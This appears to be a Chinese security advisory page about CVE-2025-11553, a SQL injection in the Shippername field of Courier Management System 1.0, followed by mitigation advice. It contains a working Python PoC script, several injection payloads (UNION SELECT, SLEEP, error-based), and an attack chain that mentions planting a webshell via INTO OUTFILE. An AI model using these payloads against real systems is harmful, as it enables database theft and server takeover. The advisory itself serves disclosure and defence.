IPBUF安全漏洞报告
English
CVE-2025-11553 CVSS 6.3 中危

CVE-2025-11553:Courier Management System 1.0 SQL注入漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-11553
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Courier Management System

相关标签

SQL注入Courier Management SystemPHPMySQLCWE-89中危漏洞远程利用已公开PoCWeb应用漏洞认证后漏洞

漏洞概述

CVE-2025-11553是code-projects公司开发的Courier Management System(快递管理系统)1.0版本中存在的一个SQL注入安全漏洞。该漏洞于2025年10月9日由VulDB社区通过[email protected]渠道披露,CVSS 3.1评分为6.3分,属于中危级别漏洞。

Courier Management System是一款用于管理快递物流业务的Web应用程序,提供快递信息录入、查询、跟踪等功能。该系统通过PHP开发,使用MySQL等关系型数据库存储快递单据、收发货人信息等业务数据。

漏洞存在于系统的/add-courier.php文件中,具体位于新增快递(add-courier)功能的实现逻辑中。当用户通过该接口提交新增快递请求时,系统对Shippername(发货人姓名)参数的处理存在缺陷,未对该参数进行充分的输入验证和过滤,导致攻击者可以通过构造恶意的SQL语句注入到后端数据库查询中。该漏洞可被远程利用,攻击者只需拥有低权限账号即可发起攻击,无需用户交互。目前该漏洞的利用代码已在GitHub等公开渠道发布,任何潜在攻击者均可获取并使用,这大大增加了漏洞被实际利用的风险。

根据CVSS向量分析,该漏洞对机密性、完整性和可用性均产生低级别影响,攻击者可能通过SQL注入获取数据库中的敏感信息(如用户凭证、个人信息等),或对数据库进行未授权的修改和删除操作。

技术细节

该漏洞属于典型的基于参数的SQL注入漏洞,根因在于add-courier.php文件在处理用户提交的Shippername参数时,直接将其拼接到SQL查询语句中,而未使用参数化查询(Prepared Statements)或适当的输入过滤/转义机制。

从技术层面分析,当用户访问add-courier.php并提交新增快递表单时,后端PHP代码会将Shippername字段的值直接嵌入到类似如下的SQL语句中:
INSERT INTO couriers (shipper_name, ...) VALUES ('$Shippername', ...);

由于缺乏对单引号等特殊字符的转义处理,攻击者可以通过在Shippername参数中注入单引号和SQL片段来打破原有的查询结构。例如,提交如下Payload:
Shippername=test' OR '1'='1

这将使SQL语句变为:
INSERT INTO couriers (shipper_name, ...) VALUES ('test' OR '1'='1', ...);

更危险的Payload可以利用UNION SELECT进行数据提取,或使用时间盲注(time-based blind injection)技术逐字符提取数据库内容。攻击者还可以利用MySQL的INTO OUTFILE功能向服务器写入Webshell,获取服务器控制权。

该漏洞的利用条件相对宽松:攻击者需要拥有系统的有效账号(低权限即可),通过网络远程发送HTTP POST请求到/add-courier.php端点即可触发,无需受害者进行任何交互操作。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具发现运行Courier Management System 1.0的Web服务器,确认目标系统版本和暴露的端点。
STEP 2
步骤2:获取低权限凭证
由于漏洞利用需要低权限认证(PR:L),攻击者通过注册功能、默认凭证泄露、暴力破解或购买泄露的数据库等方式获取系统的有效用户账号。
STEP 3
步骤3:登录系统建立会话
使用获取的凭证登录系统,获取有效的Session Cookie,为后续的认证请求建立会话上下文。
STEP 4
步骤4:构造SQL注入Payload
针对/add-courier.php的Shippername参数,构造恶意的SQL注入Payload,如使用UNION SELECT提取数据或使用时间盲注逐字符获取信息。
STEP 5
步骤5:发送恶意请求
通过认证的会话向/add-courier.php端点发送包含恶意Payload的POST请求,触发后端SQL注入漏洞。
STEP 6
步骤6:数据提取与权限提升
利用SQL注入漏洞提取数据库中的敏感信息(如管理员密码哈希),或通过INTO OUTFILE写入Webshell获取服务器控制权,进一步渗透内网。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11553 PoC - SQL Injection in Courier Management System 1.0 # Vulnerable file: /add-courier.php # Vulnerable parameter: Shippername import requests TARGET_URL = "http://target.com/add-courier.php" USERNAME = "attacker_user" PASSWORD = "attacker_pass" # Step 1: Login to obtain session cookie (low privilege account required) session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post("http://target.com/login.php", data=login_payload) # Step 2: Exploit SQL injection via Shippername parameter # Basic injection payload to bypass string context sql_payload = "test' OR '1'='1' -- -" # Time-based blind injection payload for data extraction time_based_payload = "test' AND SLEEP(5) -- -" # UNION-based injection payload to extract data union_payload = "test' UNION SELECT 1,user(),database(),4,5 -- -" # Step 3: Send malicious request exploit_data = { "Shippername": union_payload, "Receivername": "victim", "Address": "test address", "Contact": "1234567890", "submit": "Add Courier" } response = session.post(TARGET_URL, data=exploit_data) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") print(f"Response Body:\n{response.text[:2000]}") # Step 4: Extract database information via error-based or blind injection # Example: Extract database version version_payload = "test' AND 1=CONVERT(@@version USING utf8) -- -" exploit_data["Shippername"] = version_payload response = session.post(TARGET_URL, data=exploit_data) if "error" in response.text.lower() or "version" in response.text.lower(): print("\n[!] Database version potentially leaked in error message")

影响范围

code-projects Courier Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过WAF或反向代理规则拦截包含SQL关键字(如UNION、SELECT、SLEEP、OR等)的Shippername参数请求;2)在PHP代码层面对Shippername参数使用mysqli_real_escape_string()或PDO的quote()方法进行转义处理;3)限制/add-courier.php端点的访问,仅允许可信IP访问;4)监控数据库日志,及时发现异常的SQL查询行为;5)临时禁用新增快递功能或将其迁移到经过安全审计的接口;6)重置所有用户密码,特别是管理员账号密码,防止通过SQL注入获取的凭证被用于进一步攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表